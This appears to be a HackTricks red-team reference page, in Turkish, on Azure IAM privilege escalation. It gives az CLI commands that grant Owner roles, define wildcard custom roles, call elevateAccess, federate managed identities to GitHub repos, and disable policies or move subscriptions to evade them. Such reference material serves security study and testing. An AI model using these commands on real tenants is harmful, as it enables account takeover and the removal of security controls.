Az - Azure IAM Privesc (Authorization)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Azure IAM
Daha fazla bilgi için bakınız:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Bu izin, belirli bir scope üzerinde principal’lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker’ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.
Create the file role.json with the following içerik:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal’e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators’a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.
Tip
Sanırım kullanıcının elevate çağrısının çalışması için Entra ID’de Global Administrator olması gerekiyor.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Bu izin, managed identities’e Federated credentials eklemeyi sağlar. Örneğin bir Github repo’sundaki Github Actions’a bir managed identity için erişim vermek. Sonuç olarak, herhangi bir kullanıcı tarafından tanımlanmış managed identity’ye erişim sağlar.
Bir Github repo’suna bir managed identity’ye erişim vermek için örnek komut:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Bir saldırgan, management group, subscription veya resource group üzerinde Microsoft.Authorization/policyAssignments/write veya Microsoft.Authorization/policyAssignments/delete iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını devre dışı bırakma ihtimaliyle Azure policy assignments’ı değiştirebilir veya silebilir.
Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.
Delete a policy assignment:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Bir politika atamasını devre dışı bırak:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Değişiklikleri doğrulayın:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
İzin Microsoft.Authorization/policyDefinitions/write olan bir saldırgan, Azure policy tanımlarını değiştirebilir, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.
Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.
Bir policy tanımını değiştir:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Değişiklikleri doğrulayın:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Bu izne (Microsoft.Management/managementGroups/write) sahip bir saldırgan, yönetim gruplarının hiyerarşik yapısını değiştirebilir veya yeni yönetim grupları oluşturabilir, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.
Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.
Yeni bir yönetim grubu oluştur:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Yönetim grubu hiyerarşisini değiştir:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Değişiklikleri doğrulayın:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Bu izne (Microsoft.Management/managementGroups/subscriptions/write) sahip bir saldırgan, abonelikleri yönetim grupları arasında taşıyabilir, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak kısıtlayıcı politikalardan kaçınabilir.
Aboneliği farklı bir yönetim grubuna taşıma:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Değişiklikleri doğrulayın:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

